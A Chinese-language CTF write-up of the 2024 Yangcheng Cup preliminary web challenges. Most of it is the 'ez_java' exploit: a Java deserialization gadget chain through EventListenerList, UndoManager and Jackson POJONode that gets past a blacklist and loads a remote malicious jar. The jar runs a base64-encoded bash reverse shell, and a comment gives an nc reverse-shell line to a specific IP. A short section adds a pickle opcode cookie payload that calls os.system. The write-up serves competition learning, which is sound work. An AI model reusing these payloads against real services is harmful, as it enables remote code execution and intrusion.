2024羊城杯初赛web WP
ez_java
登录用户名密码是admin,admin888,user类里给了,本地调的时候要改改com.example.ycbjava.config.MainRealm的源码
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
String username = (String)authenticationToken.getPrincipal();
String password = new String((char[])((char[])authenticationToken.getCredentials()));
String realusername = "admin";
String realpassword = "admin888";
if (username.equals(realusername) && password.equals(realpassword)) {
return new SimpleAuthenticationInfo(username, password, this.getName());
} else {
throw new IncorrectCredentialsException("Username or password is incorrect.");
}
}
有两个接口:ser和upload,分别可以base64解码并反序列化一个payload,和上传一个任意文件到指定目录
不过反序列化读Object用的是自定义对象输入流,有一个类的黑名单,限制有些多
private static final String[] blacklist = new String[]{"java.lang.Runtime", "java.lang.ProcessBuilder", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.security.SignedObject", "com.sun.jndi.ldap.LdapAttribute", "org.apache.commons.beanutils", "org.apache.commons.collections", "javax.management.BadAttributeValueExpException", "com.sun.org.apache.xpath.internal.objects.XString"};
ban了执行字节码的TemplatesImpl,触发toString的BadAttributeValueExpException XString不说,把SignedObject也ban了,不能打二次反序列化
期间想过用RMI打二次,后来才知道jdk8u121以上的版本,RMI接受并反序列化数据前有一个过滤器ObjectInputFilter会以白名单过滤传来的对象,因此所有链子都打不了了
注意到题目有一个User类可序列化
public class User implements Serializable {
public String username = "admin";
public String password = "admin888";
public String gift;
public User() {
}
public String getGift() {
String gift = this.username;
gift = gift.trim();
gift = gift.toLowerCase();
if (gift.startsWith("http") || gift.startsWith("file")) {
gift = "nonono";
}
try {
URL url1 = new URL(gift);
Class<?> URLclass = Class.forName("java.net.URLClassLoader");
Method add = URLclass.getDeclaredMethod("addURL", URL.class);
add.setAccessible(true);
URLClassLoader classloader = (URLClassLoader)ClassLoader.getSystemClassLoader();
add.invoke(classloader, url1);
} catch (Exception var6) {
var6.printStackTrace();
}
return gift;
}
public void setGift(String gift) {
this.gift = gift;
}
public User(String username, String password) {
this.username = username;
this.password = password;
}
public String getUsername() {
return this.username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return this.password;
}
public void setPassword(String password) {
this.password = password;
}
}
其中getGift方法会加载一个jar包,至于不能以http或file开头,用url:绕就可以,在URL类的构造方法中:
而这个方法正好是变量Gift的getter方法,可以通过jackson的链子触发,我们只要把username设为恶意jar包的托管url,然后反序列化触发getGift即可。
现在问题是,ban了BadAttributeValueExpException,XString,需要一个新的链子来触发toString,才能触发JsonNode的序列化来使用任意getter。
这里使用javax.swing.event.EventListenerList
跟一下链子:
poc:
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
import java.util.Vector;
public class EventListenerListPoc {
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objo.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt"));
obji.readObject();
}
public static byte[][] generateEvilBytes() throws Exception{
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
//nc -e /bin/sh 121.199.39.4 3000
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};
return evilbyte;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
public static void main(String[] args) throws Exception {
//构造用于toString的proxy
TemplatesImpl tmp = new TemplatesImpl();
setFieldValue(tmp,"_tfactory",new TransformerFactoryImpl());
setFieldValue(tmp,"_name","123");
setFieldValue(tmp,"_bytecodes",generateEvilBytes());
AdvisedSupport support = new AdvisedSupport();
support.setTarget(tmp);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);
POJONode pojoNode = new POJONode(proxy);
//EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(pojoNode);
setFieldValue(list, "listenerList", new Object[]{Map.class, manager});
serialize(list);
unserialize();
}
}
首先执行EventListenerList#readObject
这里的序列化、反序列化机制时EventListenerList类自定义的,看看writeObject方法
对于属性listenerList会进行特定的序列化,列表中的每两个元素,写入前一个的getName方法结果(应该是Class对象),以及后一个对象。(当然listenerList肯定是一个transient的Object列表)
从而反序列化的时候就会读出前一个的getName方法结果为listenerTypeOrNull,后一个为l,对其执行add方法
这里如果l不是t类的对象,就会抛出一个错误,在这个错误中,字符串拼接就会隐式调用到l的toString方法。
但是这里对l是有限制的,必须是实现了Eventlistener的类,我们使用UndoManager,他实现了UndoableEditListener,而UndoableEditListener是EventListener的子类
为了触发抛出错误,将数组listenerList设为[其他类class对象,UndoManager]即可
UndoManager的toStirng中:
跟进super.toString()
这里就隐式调用了属性edits的toString,而edits是一个Vector类型的变量,看看Vector的toString,跟进super:
因此,看到Vector的iterator方法,返回子类迭代器对象:
next方法中返回elementData(),跟进看看方法:
因此,该迭代器就是遍历返回elementData数组中的对象。
再看toString,next拿到的对象e被append到StringBuilder中,进行了该对象的toString。
因此,只要把想要执行toString的POJO放到Vector的elementData中即可执行其toString。这里可以反射,也可以使用Vector的add方法。
这样即可达成任意对象toString。
回到题目,先托管一个用于加载的恶意jar包,将恶意语句写到恶意类的readObject方法中:
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class evil123123 implements Serializable {
private void writeObject(ObjectOutputStream out) throws Exception {
out.defaultWriteObject();
}
private void readObject(ObjectInputStream in) throws Exception {
in.defaultReadObject();
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL2lwL3BvcnQgMD4mMQ==}|{base64,-d}|{bash,-i}");
}
}
打jar包托管到vps上。然后利用Eventlistener链子写poc来触发User#getGift:
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.example.User;
import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
import java.util.Vector;
public class EventListenerListPoc {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
public static String getb64(Object obj) throws Exception{
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream objout = new ObjectOutputStream(bout);
objout.writeObject(obj);
String base64 = Base64.getEncoder().encodeToString(bout.toByteArray());
return base64;
}
public static void main(String[] args) throws Exception {
User proxy = new User();
proxy.username="url:http://ip:port/evil321.jar";
POJONode pojoNode = new POJONode(proxy);
//EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(pojoNode);
setFieldValue(list, "listenerList", new Object[]{Map.class, manager});
System.out.println(getb64(list));
}
}
然后再反序列化已经被加载的恶意类即可。
(当然也可以把Runtime直接写到静态代码块,这样加载的时候就能执行)
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class main {
public static String getb64(Object obj) throws Exception{
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream objout = new ObjectOutputStream(bout);
objout.writeObject(obj);
String base64 = Base64.getEncoder().encodeToString(bout.toByteArray());
return base64;
}
public static void main(String a[]) throws Exception{
evil123123 e = new evil123123();
System.out.println(getb64(e));
}
}
成功反弹shell
Lyrics For You
看到一半被队友做了
搓opcode注入cookie,打pickle反序列化,其中加密逻辑给了,直接本地加密一遍即可
opcode黑名单ban得不严:
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
#gtg写的
code = """
(cos
system
S'calc'
o.
""".strip().encode()
print(base64.b64encode(code))
value = touni(cookie_encode(("user", code), "EnjoyThePlayTime123456"))
print(value)
压入MARK,压入os.system,压入字符串'calc',然后o即可执行os.system('calc')
Comments NOTHING